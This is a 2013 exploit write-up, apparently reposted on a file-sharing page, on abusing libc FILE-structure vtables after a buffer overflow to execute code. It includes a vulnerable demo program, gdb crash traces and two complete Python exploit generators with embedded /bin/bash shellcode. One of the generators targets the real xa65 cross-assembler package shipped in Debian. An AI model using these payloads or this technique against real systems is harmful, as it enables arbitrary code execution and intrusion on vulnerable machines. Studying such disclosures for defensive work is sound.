article on file i_o security.txt

(5 KB) Pobierz
        #
    #   #   #
    ### # ##
      #####          exploiting the f* functions
  ############          (a.k.a. abusing file-streams in libc)
     ######
    ##  #  ##
        #


general information
-------------------
bug type        : arbitrary code execution

software name   : EGLIBC

version         : 2.15 or greater

vendor          : EGLIBC Consortium

vendor homepage : www.eglibc.org

software link   : www.eglibc.org/repository

tested on       : Debian Wheezy/Jessie/Sid, Arch Linux

authors         : proudhon & Ubik

date            : 2013-12-30

description     : The C programming language provides many standard library 
                  functions for file input and output. C abstracts all file 
                  operations into operations on streams of bytes.

disclaimer
---------
all the information and code given in this document is provided "as is", 
for educational purposes only. the authors will not be responsible for any 
damage.

technical information
---------------------
 
Have you ever wonder how to exploit this program:

//fputz.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static char out[512];
static FILE *fp;

int main(int argc, char **argv) {
  fp = stdout;

  strcpy(out, argv[1]);
  fputs(out, fp);

  exit(0);
}
//EOF

If the binary is not fortified, an overflow is available as we can see:

$ gdb --args ./fputz $(python -c 'print "A"*1000')
...
Program received signal SIGSEGV, Segmentation fault.
__GI__IO_fputs (str=0x804a040 'A' <repeats 200 times>..., fp=0x41414141) at 

How we can take advantage of the internal structure of the FILE objects from
libc to execute code? Well, first, we should redirect the fp pointer to 
controllable memory. The perfect candidate for this is the 'out' buffer, since
its address is constant and we can fill it with plenty of (non-NULL) bytes.

 ---------------------------
 v                         |
[       out           ] [ *fp ]

The second step requires us to check the FILE internals, to find out how we can
take advantage of FILE object.  If we take a look to the libioP.h header, we 
 can find some juicy information on the internals of FILE, implemented using: 

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

The vtable pointer is just what we need! This is not a new idea. 
Some work was previously done on this by Kees Cook at:

http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

Our plan to execute arbitrary code is to provide a pointer to a fake vtable. 
But.. where we can store this vtable? Again, The perfect candidate for this is 
the 'out' buffer.

     ----------------------
     v                    |
[   fake _IO_FILE?   | *vtable ]


Obviously, this won't work if we don't define carefully the malicious 
_IO_FILE_plus since the program will crash looking for pointer or enter in 
deadlock. To avoid trouble, we should define the FILE flags with a value
that disables any lock operation on the FILE. Using gdb we can see that
the function _IO_flockfile is executed right before the vtable pointer is read
from memory. Such function checks the higher bit of the lower word of 
the _flags field of IO_FILE. If the bit is set, then the file will not be 
locked, as we can see here:

#define _IO_USER_LOCK 0x8000
...
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_flockfile (_fp)

Finally, we control the bytes of the vtable the f* functions will use, so it's 
time for the code execution!. Of course, we shouldn't forget the usual 
protections as PAX, that we will disable since they are not related with
this simple technique to exploit FILE objects.
The final exploit can be generated using the following python script:

#!/usr/bin/env python2
 
import sys

base = "\x08\x04\xa0"
offset = 0x40

# fp:     pointer to the beginning of the buffer
ptr = (base + chr(offset))[::-1]
# vtable: pointer to the address pointing to the shell-code
ptr2 = (base + chr(offset - 0x18))[::-1]
# pointer to the beginning of the shell-code
ptr3 = (base + chr(offset + 0x08))[::-1]
# non-null byte to pad
c = "\x01"
# _IO_FILE flags to avoid deadlocks
fl = c+"\x80"
# shell-code from http://packetstormsecurity.com/files/89203/
sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\
     "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"

exp = fl + c * 2 + ptr3  + sc + c * (141 - len(sc)) + ptr2 + c * 359 + ptr

print exp,
# EOF

"real-life" example
-------------------

Inside the xa65 package in Debian Wheezy/Jessie/Sid there is a small command 
line tool called xa, a cross-assembler for 65xx/R65C02/65816, that we know that 
is buggy:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=716483

so if we play a little with it:

$ gdb --args xa $(python -c 'print "A"*3000')
...
Couldn't open source file 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal SIGSEGV, Segmentation fault.
 __GI__IO_fputs (str=0x8058440 "Couldn't open source file '", 'A' 
  <repeats 173 times>..., fp=0x41414141) at iofputs.c:40

We can follow the same technique explained before to recreate our malicious 
_IO_FILE_plus and to execute code. The final exploit is presented here:

#!/usr/bin/env python2
 
import sys

base = "\x08\x05\x84"
offset = 0x5b

# fp:     pointer to the beginning of the buffer
ptr = (base + chr(offset))[::-1]
# vtable: pointer to the address pointing to the shell-code
ptr2 = (base + chr(offset - 0x18))[::-1]
# pointer to the beginning of the shell-code
ptr3 = (base + chr(offset + 0x08))[::-1]
# non-null byte to pad
c = "\x01"
# _IO_FILE flags to avoid deadlocks
fl = c + "\xa0"
# shell-code from http://packetstormsecurity.com/files/89203
sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\
     "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"
 
exp = fl + c * 2 + ptr3  + sc + c * (141 - len(sc)) + ptr2 + c * 1880 + ptr

print exp,
# EOF

acknowledgements
----------------

To guille for his help looking the libc source and to the Debian developers for 
their highly inconsistent policy of compilation of packages with FORTIFY_SOURCE.
Zgłoś jeśli naruszono regulamin